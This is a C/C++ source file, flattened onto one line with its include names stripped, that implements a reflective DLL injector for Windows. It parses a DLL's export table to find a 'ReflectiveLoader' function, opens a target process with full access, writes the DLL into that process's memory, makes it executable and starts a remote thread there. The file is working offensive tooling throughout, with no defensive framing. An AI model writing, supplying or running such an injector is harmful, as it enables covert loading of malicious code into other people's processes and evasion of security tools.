#include #include #include #include #include typedef unsigned long long DWORD64; DWORD64 rva_to_offset(DWORD64 rva, DWORD64 base_address) { PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base_address; PIMAGE_NT_HEADERS64 nt = (PIMAGE_NT_HEADERS64)(base_address + dos->e_lfanew); PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(nt); if (rva < section->PointerToRawData) // pointer into PE header area return rva; for (; section->SizeOfRawData != 0; section++) { if (rva >= section->VirtualAddress && rva < (section->VirtualAddress + section->SizeOfRawData)) return rva - section->VirtualAddress + section->PointerToRawData; } return 0; } DWORD64 get_reflective_loader_offset(DWORD64 base_address, LPCSTR ReflectiveLoader_name) { PIMAGE_NT_HEADERS64 nt = (PIMAGE_NT_HEADERS64)(base_address + ((PIMAGE_DOS_HEADER)base_address)->e_lfanew); IMAGE_DATA_DIRECTORY exports_data_directory = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; if (exports_data_directory.VirtualAddress == 0) return 0; PIMAGE_EXPORT_DIRECTORY export_directory = (PIMAGE_EXPORT_DIRECTORY)(base_address + rva_to_offset(exports_data_directory.VirtualAddress, base_address)); DWORD* functions = (DWORD*)(base_address + rva_to_offset(export_directory->AddressOfFunctions, base_address)); DWORD* names = (DWORD*)(base_address + rva_to_offset(export_directory->AddressOfNames, base_address)); WORD* ords = (WORD*)(base_address + rva_to_offset(export_directory->AddressOfNameOrdinals, base_address)); for (DWORD i = 0; i < export_directory->NumberOfNames; ++i) { char* name = (char*)(base_address + rva_to_offset(names[i], base_address)); if (_stricmp(name, ReflectiveLoader_name) == 0) // case-insensitive helps during testing { DWORD func_rva = functions[ords[i]]; return rva_to_offset(func_rva, base_address); } } return 0; } int main(int argc, char* argv[]) { if (argc != 3) { printf("Usage: %s \n", argv[0]); return 1; } std::string dllPath = argv[1]; DWORD pid = (DWORD)atoi(argv[2]); // 1) open file HANDLE file_handle = CreateFileA(dllPath.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (file_handle == INVALID_HANDLE_VALUE) { printf("CreateFile failed: %lu\n", GetLastError()); return 1; } printf("Injecting DLL '%s' into process %lu\n", dllPath.c_str(), (unsigned long)pid); // 2) get file size LARGE_INTEGER fileSize = { 0 }; if (!GetFileSizeEx(file_handle, &fileSize)) { printf("GetFileSizeEx failed: %lu\n", GetLastError()); CloseHandle(file_handle); return 1; } SIZE_T sz = (SIZE_T)fileSize.QuadPart; if (sz == 0) { printf("Empty file\n"); CloseHandle(file_handle); return 1; } printf("DLL size: %llu bytes\n", (unsigned long long)sz); // 3) allocate buffer and read LPBYTE file_buf = (LPBYTE)HeapAlloc(GetProcessHeap(), 0, sz); if (!file_buf) { printf("HeapAlloc failed\n"); CloseHandle(file_handle); return 1; } DWORD bytesRead = 0; if (!ReadFile(file_handle, file_buf, (DWORD)sz, &bytesRead, NULL) || bytesRead != (DWORD)sz) { printf("ReadFile failed or incomplete: %lu bytesRead=%lu\n", GetLastError(), bytesRead); HeapFree(GetProcessHeap(), 0, file_buf); CloseHandle(file_handle); return 1; } CloseHandle(file_handle); printf("DLL read into memory.\n"); // 4) find reflective loader offset in raw file DWORD64 reflective_loader_offset = get_reflective_loader_offset((DWORD64)file_buf, "ReflectiveLoader"); if (!reflective_loader_offset) { printf("ReflectiveLoader export not found\n"); HeapFree(GetProcessHeap(), 0, file_buf); return 1; } printf("ReflectiveLoader offset: 0x%llx\n", (unsigned long long)reflective_loader_offset); // 5) open target process HANDLE process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); if (!process_handle) { printf("OpenProcess failed: %lu\n", GetLastError()); HeapFree(GetProcessHeap(), 0, file_buf); return 1; } printf("Target process opened.\n"); // 6) allocate remote memory (use the file size) LPVOID remote_file_buf_address = VirtualAllocEx(process_handle, NULL, sz, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); if (!remote_file_buf_address) { printf("VirtualAllocEx failed: %lu\n", GetLastError()); CloseHandle(process_handle); HeapFree(GetProcessHeap(), 0, file_buf); return 1; } printf("Remote memory allocated at %p\n", remote_file_buf_address); // 7) write file into remote process SIZE_T written = 0; if (!WriteProcessMemory(process_handle, remote_file_buf_address, file_buf, sz, (SIZE_T*)&written) || written != sz) { printf("WriteProcessMemory failed: %lu written=%llu\n", GetLastError(), (unsigned long long)written); VirtualFreeEx(process_handle, remote_file_buf_address, 0, MEM_RELEASE); CloseHandle(process_handle); HeapFree(GetProcessHeap(), 0, file_buf); return 1; } printf("DLL written into remote process memory.\n"); // 8) make memory executable DWORD oldProt = 0; if (!VirtualProtectEx(process_handle, remote_file_buf_address, sz, PAGE_EXECUTE_READ, &oldProt)) { // If this fails, try PAGE_EXECUTE_READWRITE (some targets) VirtualProtectEx(process_handle, remote_file_buf_address, sz, PAGE_EXECUTE_READWRITE, &oldProt); } printf("Remote memory protection changed to executable.\n"); // 9) compute remote address of reflective loader and create remote thread LPTHREAD_START_ROUTINE remote_start = (LPTHREAD_START_ROUTINE)((ULONG_PTR)remote_file_buf_address + (ULONG_PTR)reflective_loader_offset); HANDLE thread_handle = CreateRemoteThread(process_handle, NULL, 0, remote_start, NULL, 0, NULL); if (!thread_handle) { printf("CreateRemoteThread failed: %lu\n", GetLastError()); VirtualFreeEx(process_handle, remote_file_buf_address, 0, MEM_RELEASE); CloseHandle(process_handle); HeapFree(GetProcessHeap(), 0, file_buf); return 1; } printf("Remote thread created.\n"); WaitForSingleObject(thread_handle, INFINITE); CloseHandle(thread_handle); CloseHandle(process_handle); HeapFree(GetProcessHeap(), 0, file_buf); printf("done.\n"); return 0; }